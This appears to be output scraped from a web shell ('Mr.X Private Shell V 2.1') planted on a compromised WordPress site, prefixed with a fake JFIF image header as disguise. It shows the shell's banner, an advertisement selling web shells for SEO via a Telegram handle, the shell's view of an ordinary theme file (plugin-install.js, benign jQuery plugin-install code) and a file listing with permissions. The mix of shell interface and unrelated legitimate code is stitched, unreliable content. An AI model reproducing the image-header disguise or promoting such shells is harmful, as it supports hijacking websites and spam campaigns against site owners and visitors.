����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
/**
* Remove activate button and replace with activation in progress button.
*/
/* global tiAboutPluginInstall */
/* global console */
jQuery( document ).ready(
function ( $ ) {
$.pluginInstall = {
'init': function () {
this.handleInstall();
this.handleActivate();
},
'handleInstall': function () {
var self = this;
$( 'body' ).on( 'click', '.ti-about-install-plugin', function ( e ) {
e.preventDefault();
var button = $( this );
var slug = button.attr( 'data-slug' );
var url = button.attr( 'href' );
var redirect = $( button ).data( 'redirect' );
button.text( wp.updates.l10n.installing );
button.addClass( 'updating-message' );
wp.updates.installPlugin(
{
slug: slug,
success: function () {
button.text( tiAboutPluginInstall.activating + '...' );
self.activatePlugin( url, redirect );
}
}
);
} );
},
'activatePlugin': function ( url, redirect ) {
if ( typeof url === 'undefined' || !url ) {
return;
}
jQuery.ajax(
{
async: true,
type: 'GET',
url: url,
success: function () {
// Reload the page.
if ( typeof(redirect) !== 'undefined' && redirect !== '' ) {
window.location.replace( redirect );
location.reload();
} else {
location.reload();
}
},
error: function ( jqXHR, exception ) {
var msg = '';
if ( jqXHR.status === 0 ) {
msg = 'Not connect.\n Verify Network.';
} else if ( jqXHR.status === 404 ) {
msg = 'Requested page not found. [404]';
} else if ( jqXHR.status === 500 ) {
msg = 'Internal Server Error [500].';
} else if ( exception === 'parsererror' ) {
msg = 'Requested JSON parse failed.';
} else if ( exception === 'timeout' ) {
msg = 'Time out error.';
} else if ( exception === 'abort' ) {
msg = 'Ajax request aborted.';
} else {
msg = 'Uncaught Error.\n' + jqXHR.responseText;
}
console.log( msg );
},
}
);
},
'handleActivate': function () {
var self = this;
$( 'body' ).on( 'click', '.activate-now', function ( e ) {
e.preventDefault();
var button = $( this );
var url = button.attr( 'href' );
var redirect = button.attr( 'data-redirect' );
button.addClass( 'updating-message' );
button.text( tiAboutPluginInstall.activating + '...' );
self.activatePlugin( url, redirect );
} );
},
};
$.pluginInstall.init();
}
);| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| src | Folder | 0755 |
|
|
| plugin-install.js | File | 2.52 KB | 0644 |
|